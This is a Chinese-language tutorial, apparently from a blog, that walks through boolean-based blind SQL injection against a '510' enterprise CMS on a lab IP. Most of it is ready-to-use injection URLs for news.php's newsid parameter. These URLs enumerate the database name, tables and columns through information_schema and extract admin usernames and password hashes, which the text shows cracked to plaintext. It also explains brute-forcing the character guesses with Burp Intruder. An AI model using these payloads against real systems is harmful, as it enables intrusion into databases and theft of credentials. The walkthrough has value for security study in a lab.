SQL注入之get可以参考:
https://blog.csdn.net/qq_45775897/article/details/122332051
一、查找是否存在SQL注入(注入点)
以510企业网站为例:
192.168.128.129为自己的IP地址(域名)
这里以漏洞参数id为例
用?id=1
和id=1'
进行测试,前提能够正常显示。
在?id=1
后面加上and 1=1
两个结果都是真的,所以正常输出;
后面加上and 1=2
如果正常输出,说明前后都是真的,则表示是字符型。反之是数值型
eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=24 and 1=1
二、猜数据库名长度
通过length()
函数和database()
来判断
eg:
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and length(database())=6
数据库长度为6
三、猜数据库名
对数据库名的每一个字符进行猜测,利用>,<,=
猜其ascii码。
eg:
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr(database(),1,1))=53
数据库名为510cms
可以使用burp进行爆破(burp使用):
1.点击火狐的狐狸头,添加一个代理
2.Burp的option上也添加相同的端口
3.浏览器重新请求burp抓包
4.进行爆破
点击clear,并点击add添加
点击start attack
四、猜表名
猜数据库中表的个数
eg:
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and (select count(table_name) from information_schema.tables where table_schema='510cms')=10
该数据库中有10个表
猜第一个表的长度
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and (select length(table_name) from information_schema.tables where table_schema='510cms' limit 0,1)=9
第一个表长为9
猜第一个表名
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select table_name from information_schema.tables where table_schema='510cms' limit 0,1),1,1))=53
根据表长可以猜得表名为510_admin
五、猜字段
猜字段数
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and (select count(column_name) from information_schema.columns where table_schema='510cms' and table_name='510_admin')=5
该表有5个字段
猜字段名
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='510cms' and table_name='510_admin'),1,1))=105
字段名为:id,mid,name,passwd,remark
六、猜用户名和密码
猜用户名:
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select group_concat(name) from 510cms.510_admin),1,1))=56
用户名有:admin和lwphp
猜密码:
http://192.168.128.129/news.php?cid=&listid=&newsid=24 and ascii(substr((select group_concat(passwd) from 510cms.510_admin),1,1))=56
admin密码为:8dbdf8221fcf4bd6ac5a48317baa948c 即adminlwphp
lwphp密码为:0a7aacdfc4588232bd0beccf9408853f 即chinarenlwphp
测试后密码要去掉lwphp
注意
这里一般使用burp进行爆破会比较快,也可以自己一个一个猜。这里通过爆破
得到的是ascii码,要对其进行转换。